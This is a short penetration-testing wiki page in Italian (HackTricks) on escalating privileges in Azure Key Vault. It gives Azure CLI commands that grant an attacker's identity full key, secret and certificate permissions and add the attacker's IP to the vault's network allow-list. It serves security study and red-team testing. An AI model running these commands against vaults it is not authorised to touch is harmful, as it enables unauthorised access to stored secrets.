Az - Key Vault Privesc

Reading time: 3 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Azure Key Vault

Per ulteriori informazioni su questo servizio, controlla:

Az - Key Vault

Microsoft.KeyVault/vaults/write

Un attaccante con questo permesso sarà in grado di modificare la policy di un key vault (il key vault deve utilizzare le policy di accesso invece di RBAC).

bash
# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>

# Get current principal ID
az ad signed-in-user show --query id --output tsv

# Assign all permissions
az keyvault set-policy \
--name <vault-name> \
--object-id <your-object-id> \
--key-permissions all \
--secret-permissions all \
--certificate-permissions all \
--storage-permissions all

Modifica delle Restrizioni di Rete

Potrebbe essere possibile che tu abbia abbastanza permessi per accedere a dati sensibili (come il valore di un segreto) ma non puoi accedervi perché il key vault è limitato a una rete specifica. Se hai il permesso di modificare le restrizioni di rete, puoi aggiungere il tuo IP all'elenco degli IP consentiti.

bash
# Get the current network restrictions
az keyvault network-rule list --name <vault-name>

# Add your IP to the list
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks